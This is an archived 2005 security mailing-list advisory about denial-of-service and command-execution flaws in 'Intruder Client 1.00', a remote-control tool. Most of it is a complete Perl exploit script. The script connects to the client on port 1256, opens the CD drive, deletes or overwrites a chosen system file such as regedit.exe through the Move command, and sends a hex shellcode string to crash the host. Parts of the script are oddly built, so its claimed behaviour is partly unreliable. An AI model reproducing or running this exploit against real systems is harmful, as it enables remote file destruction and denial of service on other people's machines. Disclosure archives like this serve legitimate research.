[NT] Intruder DoS and Command Execution Vulnerabilities

• Previous message: SecuriTeam: "[NEWS] Apache ssl_callback_SSLVerify_CRL DoS"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 25 Jul 2005 18:27:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Intruder DoS and Command Execution Vulnerabilities
------------------------------------------------------------------------

SUMMARY

Intruder is "a set of tools for remote control of servers".

By sending a malformed request to the Intruder client it is possible to
cause the machine to crash. By sending another type of malformed request
it is possible to cause the Intruder client to execute arbitrary commands.

DETAILS

Vulnerable Systems:
 * Intruder Client version 1.00

DoS:
By sending the remote Intruder client an arbitrarily long command, it is
possible to cause a denial of service that will crash the system using
telnet or netcat.

Proof of Concept:
Run-time error'13'.
Type mismatch

Command Execution:
The Intruder server accepts several different commands, some of them can
be used to move, delete, download, execute files, which in turn allows an
attacker to compromise the remote host's system integrity.

Available commands:
Move - Move a certain file from one location to another
OpenCDROM - Causes the remote host's CDRom drive to open
ShutDown_Server - Terminate the remote server
Get_SysInfo - Display computer information
Get_Drives - List all available drives
Remove_Server_Traces - This action will result in the removal of the
Server, as well as all traces of the program found in the Registry
Msg,HELLO - Send message "HELLO" to server
HangUp - Disconnect the host from Internet
write,TEST - Write to desktop "TEST"

Exploit:
#!/usr/bin/perl
#
# Intruder Command Execution DOS Exploit
# --------------------------------------
# Infam0us Gr0up - Securiti Research
#
#
# [?] Version: libwww-perl-5.76
# [+] Connecting to 127.0.0.1..
# [+] Connected
# [+] Backup for files..[DONE]
# [+] Build malicious pages..[DONE]
# [+] Open CDRom victim..[DONE]
# [+] Delete C:\WINNT\regedit.exe..[DONE]
# [+] Now attacking ..[SUCCESS]
# [+] Check if Server D0S'ed!
#
# Tested on Windows2000 SP4(Win NT)
# Info : infamous.2hell.com
#

use IO::Socket;
use LWP;
use Tk;
use Win32::File;

$subject = "Intruder Command Execution DOS Exploit";
$vers = "Intruder Client 1.00";
$vendor = "http://digilander.iol.it/TatankaRock";
$codz = "basher13 - basher13(at)linuxmail.org";

$ARGC=@ARGV;

if ($ARGC !=2) {
    print "\n";
    print " $subject\n";
    print "-------------------------------------------------\n";
    print " Infam0us Gr0up - Securiti Research\n\n";
    print "Usage: $0 [remote IP] [file Path]\n";
    print "Exam: $0 127.0.0.1 C:\\WINNT\\regedit.exe\n";
    print "- [remote IP] = Target host IP/Hostname\n";
    print "- [file Path] = Path file to delete\n";
    exit(1);
}

$host = $ARGV[0];
$delfile = $ARGV[1];
# Modify to own feed
$text = "<title>PENETRATION TEST</title>Subject: $subject<br>Version:
$vers<br>URL: $vendor<br>Coders: $codz";
$box = "C:\-[$subject]-.htm";

$shellcore =
"Moving_Dialog,0x13:test:1"."\x68\x62\x69\x1\x1\x68\x72\x64\x60\x73\x68\x68\x21\x53".
"\x64\x68\x74\x73\x68\x75\x68\x21\x52\x64\x62\x68\x74\x71\x21\x2C\x68\x21\x46\x73\x31".
"\x68\x6C\x31\x74\x72\x68\x48\x6F\x67\x60\x68\x21\x43\x58\x21\x68\x55\x40\x42\x4A\x68".
"\x46\x21\x40\x55\x68\x43\x44\x48\x4F\x68\x49\x40\x45\x21\x68\x58\x4E\x54\x21\x68\x42".
"\x4A\x20\x20\x68\x40\x55\x55\x40\x68\x45\x4E\x52\x21\x68\x42\x4A\x20\x20\x68\x40\x55".
"\x55\x40\x68\x45\x4E\x52\x21\x33\xC9\x8B\xDC\x80\x33\x1\x43\x41\x83\xF9\x52\x75\xF6".
"\x54\xC3";

print "\n";
print " $subject\n";
print "-------------------------------------------------------\n";
print "[?] Version: libwww-perl-$LWP::VERSION\n";
print "[+] Connecting to $host..\n";
sleep(2);
$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 1256,
                                Proto => 'tcp');
                                die unless $socket;
print "[+] Connected\n";
sleep(2);
print "[+] Backup for files..";
$lama = $delfile;
$baru = "$delfile.BAK.$$(basher13)";

 open(OLD, "< $lama") or die "FAILED to open $lama\n[-] Reason: Try to
another place..\n";
 open(NEW, "> $baru") or die "can't open $baru: $!\n";

 while (<OLD>) {
        s/\b(p)earl\b/${1}erl/i;
        (print NEW $_) or die "FAILED to write to $baru\n[-] Reason:
Server has secure permission\n";
    }
 close(OLD) or die "FAILED to close $lama\n";
 close(NEW) or die "can't close $baru\n";
print "[DONE]\n";
print "[+] Build malicious pages..";

open(OUT, ">$box") or die("unable to open $box: $!");
open FH, ">$box";
print FH "$text";
print "[DONE]\n";
close FH;

print "[+] Open CDRom victim..";
print $socket "OpenCDROM,";
sleep(1);
print "[DONE]\n";
print "[+] Delete $delfile..";
print $socket "Move,$delfile|$box";
sleep(2);
print "[DONE]\n";
print "[+] Now attacking ..";
sleep(1);
print $socket "$shellcore";
sleep(3);
print "[SUCCESS]\n";
close $socket;
print "[+] Server D0S'ed!\n";
print "-------------------------------------------------------\n";
my $mw = MainWindow->new(-title => 'INFO',);
    my $var;

    my $opt = $mw->Optionmenu(
                
                -options => [qw()],
                -command => sub { print "[>] ", shift, "\n" },
                -variable => \$var,
                )->pack;
    $opt->addOptions([- Subject=>$subject],[- Version=>$vers],[-
Vendor=>$vendor],[- Coder=>$codz]);
    $mw->Button(-text=>'CLOSE', -command=>sub{$mw->destroy})->pack;
    MainLoop;
#EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:basher13@linuxmail.org> Eric
Basher.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NEWS] Apache ssl_callback_SSLVerify_CRL DoS"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]